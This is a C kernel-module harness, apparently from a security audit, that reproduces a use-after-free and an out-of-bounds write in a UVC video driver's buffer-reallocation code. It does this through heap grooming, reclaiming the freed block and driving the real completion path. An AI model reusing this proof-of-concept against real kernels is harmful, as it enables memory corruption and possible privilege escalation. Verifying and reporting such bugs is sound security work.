/*
 * bufharness.c - pass-2 verification harness for sys/bus/u4b/uvc/uvc_buf.c
 *
 * Target finding (verified here):
 *
 * DF-5434 (HIGH): REQBUFS-while-streaming / buffer realloc frees bq->mem
 *   without draining the product/consumer queues or resetting descriptors.
 *   uvc_v4l2.c:613   VIDIOC_REQBUFS has NO streaming-state check
 *   uvc_buf.c:517    free_bufs_locked() frees bq->mem but does NOT drain
 *                    product/consumer queues and does NOT reset descriptors
 *                    (buf->mem / buf->vbuf.bytesused / status stay STALE)
 *   uvc_buf.c:91     uvc_buf_fill_v4l2() never clears vbuf.bytesused
 *   => (A) count-shrink: descriptors with index >= new count keep pointing
 *      at freed memory while still linked as product head =>
 *      uvc_bulkbuf_sell_buf()/uvc_buf_sell_buf() usbd_copy_out() into
 *      FREED kernel memory (kernel-side UAF WRITE).  [modes 1/2/3]
 *   => (B) len-shrink: re-inited descriptor keeps stale bytesused >
 *      new length => `maxlen = length - bytesused' (uvc_buf.c:265)
 *      underflows => nbytes = len => OOB WRITE at mem_new + stale_bytesused.
 *      [mode 4, predicted fault VA printed before the write]
 *
 * Also documented here (killed candidate, Info-level):
 *   uvc_buf_queue_req_bufs() signed count (count >= 0x80000000 => num<0 =>
 *   clamp skipped, alloc loop skipped, `mem' uninitialized, buf_count
 *   sign-extended).  Guest objdump proves the shipping gcc folds the
 *   uninit read into a deterministic ENOMEM, so no wild bq->mem occurs on
 *   this toolchain.  [mode 8]
 *
 * The harness #includes the REAL driver sources (newbus registration
 * neutered), registers a REAL 0666 cdev via the production
 * uvc_v4l2_reg()/make_dev(), and drives the production completion path
 * (uvc_bulkbuf_sell_buf) from kernel context with a fabricated
 * usb_page_cache exactly as uvc_drv_bulkfill_buf() would from the USB
 * callback.
 *
 * sysctl hw.bufharness:
 *   1/2/3 - DF-5434 mode A (UAF write proof, guest stays up), payload
 *           markers 0x5A / 0xA7 / 0xC3
 *   4     - DF-5434 mode B (stale-bytesused maxlen underflow => OOB write
 *           => kernel page fault; predicted VA printed first)
 *   8     - signed-count probe (expected: ENOMEM fold)
 *   9     - ground truth dump (qwords of bq->buf[i], i = 0..47,
 *           pointers, sizeof/offsetof proof)
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/bus.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/lock.h>
#include <sys/stdint.h>

/* Neuter driver registration; we want the production code only. */
#undef DRIVER_MODULE
#undef MODULE_DEPEND
#undef MODULE_VERSION
#define DRIVER_MODULE(name, busname, drv, dc, evh, arg)
#define MODULE_DEPEND(name, mod, min, pref, max)
#define MODULE_VERSION(mod, ver)

/* The real driver code, verbatim */
#include "uvc_buf.c"
#include "uvc_ctrls.c"
#include "uvc_v4l2.c"
#include "uvc_drv.c"

static void *harness_refs[] __unused = { &uvc_driver, &uvc_devclass };

static struct uvc_softc gsc;
static struct uvc_drv_video *gvideo;
static int gvideo_registered;

/* fake compressed format so REQBUFS ioctl path (uvc_v4l2.c:623) survives */
static struct uvc_data_format fakefmt = {
	.flags = UVC_FMT_FLAG_COMPRESSED,
	.fcc = V4L2_PIX_FMT_MJPEG,
	.name = "rig",
};
static struct uvc_data_frame fakefrm;

/* fake streaming data so uvc_drv_stop_video() on close is safe:
 * num_altsetting=1 => bulk branch; xfer[0]==NULL => no endpoint work */
static struct uvc_drv_data fakedata = {
	.num_altsetting = 1,
};

/* fake usb_page_cache: zeroed struct + ->buffer set gives "Case 2 - Plain
 * PIO" in usbd_get_page() => usbd_copy_out(pc, off, dst, len) becomes
 * memcpy(dst, pc->buffer + off, len) - the production copy primitive. */
static struct usb_page_cache gpc;

#define GROOM_N 24
#define LANE sizeof(struct uvc_buf)

static void
groom_and_place(void)
{
	void *groom[GROOM_N];
	size_t vsz = sizeof(struct uvc_drv_video);
	int i, j;

	/* zeroed chunks, marker qword at lane offset 64 of each 128B lane
	 * (offset 16 - the `status' field - stays 0 so a later QBUF treats
	 * the OOB slot as UVC_BUF_STATE_IDLE) */
	for (i = 0; i < GROOM_N; i++) {
		groom[i] = kmalloc(vsz, M_UVC, M_WAITOK | M_ZERO);
		for (j = 0; (j + 1) * LANE <= vsz; j++)
			*(uint64_t *)((uint8_t *)groom[i] + j * LANE + 64) =
			    0x5A00000000000000ULL | ((uint64_t)i << 8) | j;
	}
	for (i = 0; i < GROOM_N; i++)
		kfree(groom[i], M_UVC);

	/* production-style allocation: the video struct (with the embedded
	 * uvc_buf_queue) lands amid the freshly freed marker chunks */
	gvideo = kmalloc(vsz, M_UVC, M_WAITOK | M_ZERO);
	kprintf("HARNESS: gvideo=%p size=%zu lane(sizeof uvc_buf)=%zu "
	    "off(status)=%d off(vbuf)=%d off(link)=%d "
	    "sizeof(v4l2_buffer)=%d\n",
	    gvideo, vsz, LANE, (int)offsetof(struct uvc_buf, status),
	    (int)offsetof(struct uvc_buf, vbuf),
	    (int)offsetof(struct uvc_buf, link),
	    (int)sizeof(struct v4l2_buffer));
}

/* ---------------- DF-5435: production completion-path drives ------------- */

static uint8_t patbuf[4 * 1024 * 1024];

static void
pat_fill(uint8_t b)
{
	memset(patbuf, b, sizeof(patbuf));
}

/* mimics uvc_drv_bulkfill_buf() -> uvc_bulkbuf_sell_buf() from the xfer
 * callback: header FID bit + one bulk payload */
static int
sell_bulk(uint32_t len, uint32_t actlen, uint32_t maxFramelen, uint8_t fid)
{
	gvideo->bulk.header[1] = fid;	/* UVC_PL_HEADER_BIT_FID == 1 */
	return uvc_bulkbuf_sell_buf(&gvideo->bq, &gpc, 0, len, actlen,
	    maxFramelen);
}

/* mode 1/2/3: count-shrink UAF write, deterministic, guest survives */
static void
mode_a(int round, uint8_t marker)
{
	struct v4l2_buffer vb;
	uint32_t cnt;
	void *victim;
	uint8_t *old;
	int i, hits = 0;

	kprintf("HARNESS DF-5434[A%d]: marker=0x%02x round start\n", round,
	    marker);

	uvc_buf_queue_disable(&gvideo->bq);	/* clean state like STREAMOFF */
	uvc_buf_queue_enable(&gvideo->bq);	/* like STREAMON */
	/* fresh bulk engine state, as after a completed frame (clean:) */
	gvideo->bulk.header_size = 0;
	gvideo->bulk.skip_payload = 0;
	gvideo->bulk.payload_size = 0;
	gvideo->bulk.max_payload_size = 0xFFFFFFFFu;

	cnt = 4;
	if (uvc_buf_queue_req_bufs(&gvideo->bq, &cnt, 0x10000) != 0 || cnt != 4) {
		kprintf("HARNESS DF-5434[A%d]: req1 failed\n", round);
		return;
	}
	kprintf("HARNESS DF-5434[A%d]: req1 -> mem=%p count=%llu size=0x%llx\n",
	    round, gvideo->bq.mem, (unsigned long long)gvideo->bq.buf_count,
	    (unsigned long long)gvideo->bq.buf_size);
	old = gvideo->bq.mem;

	memset(&vb, 0, sizeof(vb));
	vb.index = 3;
	vb.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
	vb.memory = V4L2_MEMORY_MMAP;
	if (uvc_buf_queue_queue_buf(&gvideo->bq, &vb) != 0) {
		kprintf("HARNESS DF-5434[A%d]: qbuf3 failed\n", round);
		return;
	}

	/* frame data arrives: one bulk payload of 0x1000 into buf3 */
	pat_fill(marker);
	gvideo->bulk.last_fid = 3;
	gvideo->bulk.payload_size = 0;
	gvideo->bulk.max_payload_size = 0xFFFFFFFFu;
	sell_bulk(0x1000, 0x1000, 0x1000, 0);
	kprintf("HARNESS DF-5434[A%d]: after sell1 buf3: mem=%p offset=0x%llx "
	    "bytesused=0x%x status=%llu (still linked as product head)\n",
	    round, gvideo->bq.buf[3].mem,
	    (unsigned long long)gvideo->bq.buf[3].offset,
	    gvideo->bq.buf[3].vbuf.bytesused,
	    (unsigned long long)gvideo->bq.buf[3].status);

	/* THE BUG: REQBUFS again while the queue is live.  Production reaches
	 * this via VIDIOC_REQBUFS (no streaming check, uvc_v4l2.c:613). */
	cnt = 1;
	if (uvc_buf_queue_req_bufs(&gvideo->bq, &cnt, 0x10000) != 0) {
		kprintf("HARNESS DF-5434[A%d]: req2 failed\n", round);
		return;
	}
	kprintf("HARNESS DF-5434[A%d]: req2(count=1) -> NEW mem=%p "
	    "(OLD mem=%p was kfree'd; buf3 NOT re-inited: mem=%p status=%llu "
	    "bytesused=0x%x; product head=%p == buf3? %s)\n",
	    round, gvideo->bq.mem, old, gvideo->bq.buf[3].mem,
	    (unsigned long long)gvideo->bq.buf[3].status,
	    gvideo->bq.buf[3].vbuf.bytesused,
	    STAILQ_FIRST(&gvideo->bq.product),
	    STAILQ_FIRST(&gvideo->bq.product) == &gvideo->bq.buf[3] ? "YES" :
	    "no");

	/* reclaim the freed 0x40000 block to observe the UAF write */
	victim = kmalloc(4 * 0x10000, M_UVC, M_WAITOK | M_ZERO);
	memset(victim, 0xAA, 4 * 0x10000);
	kprintf("HARNESS DF-5434[A%d]: victim=%p (reclaimed old mem? %s)\n",
	    round, victim, victim == old ? "YES" : "no");

	/* more frame data arrives: completion engine writes through the
	 * STALE descriptor into freed (now victim) memory */
	pat_fill(marker ^ 0xFF);
	sell_bulk(0x800, 0x800, 0x800, 0);
	kprintf("HARNESS DF-5434[A%d]: after sell2 (wrote 0x%02x x 0x800 at "
	    "OLDmem+3*0x10000+0x1000)\n", round, marker ^ 0xFF);

	for (i = 0; i < 0x40000; i++) {
		if (((uint8_t *)old)[i] == (marker ^ 0xFF))
			hits++;
	}
	kprintf("HARNESS DF-5434[A%d]: %s: found %d bytes of 0x%02x pattern "
	    "inside freed/reclaimed block %p (expect 0x800 at "
	    "offset 0x31000..0x31800 => %s)\n",
	    round,
	    hits >= 0x800 ? "UAF-WRITE PROVEN" : "no hit",
	    hits, marker ^ 0xFF, old,
	    hits >= 0x800 ? "KERNEL UAF WRITE" : "check");

	kfree(victim, M_UVC);
	/* leave the queue consistent enough for the next round */
	uvc_buf_queue_disable(&gvideo->bq);
	cnt = 0;
	uvc_buf_queue_req_bufs(&gvideo->bq, &cnt, 0x1000);
}

/* mode 4: len-shrink stale-bytesused underflow => OOB write => page fault */
static void
mode_b(void)
{
	uint32_t cnt, i;
	uint8_t *mem2;

	kprintf("HARNESS DF-5434[B]: stale-bytesused underflow round start\n");

	uvc_buf_queue_disable(&gvideo->bq);
	uvc_buf_queue_enable(&gvideo->bq);
	/* fresh bulk engine state, as after a completed frame (clean:) */
	gvideo->bulk.header_size = 0;
	gvideo->bulk.skip_payload = 0;
	gvideo->bulk.payload_size = 0;
	gvideo->bulk.max_payload_size = 0xFFFFFFFFu;

	cnt = 2;
	if (uvc_buf_queue_req_bufs(&gvideo->bq, &cnt, 0x2000000) != 0) {
		kprintf("HARNESS DF-5434[B]: req1 failed\n");
		return;
	}
	kprintf("HARNESS DF-5434[B]: req1(len=0x2000000) mem=%p\n",
	    gvideo->bq.mem);

	{
		struct v4l2_buffer vb;
		memset(&vb, 0, sizeof(vb));
		vb.index = 0;
		vb.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
		vb.memory = V4L2_MEMORY_MMAP;
		uvc_buf_queue_queue_buf(&gvideo->bq, &vb);
	}

	pat_fill(0xC3);
	gvideo->bulk.last_fid = 3;
	gvideo->bulk.payload_size = 0;
	gvideo->bulk.max_payload_size = 0xFFFFFFFFu;
	for (i = 0; i < 8; i++)
		sell_bulk(0x400000, 0x400000, 0x400000, 0);
	kprintf("HARNESS DF-5434[B]: buf0 bytesused=0x%x (mid-frame, ACTIVE, "
	    "product head)\n", gvideo->bq.buf[0].vbuf.bytesused);

	/* REQBUFS with the SMALLER frame size (device re-negotiated probe
	 * dwMaxFrameSize / S_PARM path): buf0 is re-inited with
	 * length=0x1000 but bytesused STAYS 0x2000000 */
	cnt = 2;
	if (uvc_buf_queue_req_bufs(&gvideo->bq, &cnt, 0x1000) != 0) {
		kprintf("HARNESS DF-5434[B]: req2 failed\n");
		return;
	}
	mem2 = gvideo->bq.mem;
	kprintf("HARNESS DF-5434[B]: req2(len=0x1000) NEW mem=%p (0x2000 "
	    "bytes); buf0: length=0x%x bytesused=STALE 0x%x status=%llu\n",
	    mem2, gvideo->bq.buf[0].vbuf.length,
	    gvideo->bq.buf[0].vbuf.bytesused,
	    (unsigned long long)gvideo->bq.buf[0].status);

	kprintf("HARNESS DF-5434[B]: PREDICTED fault VA = %p "
	    "(mem2 + stale bytesused 0x2000000); maxlen = 0x1000-0x2000000 "
	    "= 0xE0001000 (UNDERFLOW) => nbytes=0x1000 => OOB WRITE, "
	    "triggering now\n",
	    (void *)(mem2 + 0x2000000));

	pat_fill(0x5A);
	sell_bulk(0x1000, 0x1000, 0x1000, 1);	/* FID toggles => ACTIVE */

	kprintf("HARNESS DF-5434[B]: survived?! (write landed in mapped "
	    "memory - corruption, not fault)\n");
}

/* mode 8: kernel-side probe of the signed-count path (DF-5434-Info):
 * objdump of this exact build shows gcc folds the uninitialized `mem'
 * read into a deterministic ENOMEM for num<0 (no wild bq->mem). */
static void
mode_arm(void)
{
	uint32_t cnt = 0x80000000u;

	if (uvc_buf_queue_req_bufs(&gvideo->bq, &cnt, 0x1000) != 0) {
		kprintf("HARNESS DF-5434[arm]: req_bufs(0x80000000) -> "
		    "ENOMEM (compiler folded the uninit mem read; bq->mem=%p "
		    "buf_count=%llu unchanged)\n",
		    gvideo->bq.mem,
		    (unsigned long long)gvideo->bq.buf_count);
		return;
	}
	kprintf("HARNESS DF-5434[arm]: ARMED: bq->mem=%p "
	    "bq->buf_count=0x%llx bq->buf_size=0x%llx\n",
	    gvideo->bq.mem, (unsigned long long)gvideo->bq.buf_count,
	    (unsigned long long)gvideo->bq.buf_size);
}

/* mode 9: ground truth dump for DF-5434 leak/write comparison */
static void
mode_dump(void)
{
	int i, j;

	kprintf("HARNESS DF-5434[dump]: bq=%p buf[]=%p mem=%p buf_count=0x%llx "
	    "buf_size=0x%llx\n",
	    &gvideo->bq, gvideo->bq.buf, gvideo->bq.mem,
	    (unsigned long long)gvideo->bq.buf_count,
	    (unsigned long long)gvideo->bq.buf_size);
	for (i = 0; i < 48; i++) {
		uint64_t *lane = (uint64_t *)(gvideo->bq.buf + i);
		int nz = 0;
		for (j = 0; j < (int)(LANE / 8); j++)
			if (lane[j])
				nz++;
		if (nz)
			kprintf("HARNESS DF-5434[dump]: buf[%2d] @%p: "
			    "mem=%016llx off=%016llx status=%016llx "
			    "idx=%016llx lane[8]=%016llx lane[11]=%016llx\n",
			    i, (void *)lane,
			    (unsigned long long)lane[0],
			    (unsigned long long)lane[1],
			    (unsigned long long)lane[2],
			    (unsigned long long)lane[3],
			    (unsigned long long)lane[8],
			    (unsigned long long)lane[11]);
	}
	kprintf("HARNESS DF-5434[dump]: dump done (marker qwords are "
	    "0x5a..chunk/lane ids; status==1 in a lane that was zero/marker "
	    "=> QBUF OOB write)\n");
}

static int harness_mode;

static int
sysctl_harness(SYSCTL_HANDLER_ARGS)
{
	int error, m = harness_mode;

	error = SYSCTL_OUT(req, &m, sizeof(m));
	if (error != 0 || req->newptr == NULL)
		return (error);
	error = SYSCTL_IN(req, &m, sizeof(m));
	if (error != 0)
		return (error);
	switch (m) {
	case 1:
		mode_a(1, 0x5A);
		break;
	case 2:
		mode_a(2, 0xA7);
		break;
	case 3:
		mode_a(3, 0xC3);
		break;
	case 4:
		mode_b();
		break;
	case 8:
		mode_arm();
		break;
	case 9:
		mode_dump();
		break;
	default:
		break;
	}
	harness_mode = m;
	return (0);
}
SYSCTL_PROC(_hw, OID_AUTO, bufharness, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, sysctl_harness, "I", "uvc uvc_buf.c DF-5434 harness");

static int
bufharness_handler(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("HARNESS: loaded (real uvc sources compiled in)\n");
		groom_and_place();
		memset(&gsc, 0, sizeof(gsc));
		gvideo->sc = &gsc;
		gvideo->ctrl = NULL;
		gvideo->data = &fakedata;
		gvideo->unit = 96;
		gvideo->type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
		gvideo->cur_fmt = &fakefmt;
		gvideo->cur_frm = &fakefrm;
		USETDW(gvideo->req.dwMaxFrameSize, 0x1000);
		USETDW(gvideo->req.dwMaxPayloadSize, 0x1000);
		atomic_store_64(&gvideo->users, 0);
		atomic_store_64(&gvideo->pri, 0);
		uvc_buf_queue_init(gvideo, &gvideo->bq);
		gpc.buffer = patbuf;
		if (uvc_v4l2_reg(gvideo) != 0) {
			kprintf("HARNESS: uvc_v4l2_reg failed\n");
			return (ENXIO);
		}
		gvideo_registered = 1;
		kprintf("HARNESS: production cdev /dev/video%lu created (0666) "
		    "via uvc_v4l2_reg()\n", (unsigned long)gvideo->unit);
		return (0);
	case MOD_UNLOAD:
		if (gvideo_registered)
			return (EBUSY);
		kfree(gvideo, M_UVC);
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t bufharness_mod = {
	"bufharness",
	bufharness_handler,
	NULL
};
DECLARE_MODULE(bufharness, bufharness_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
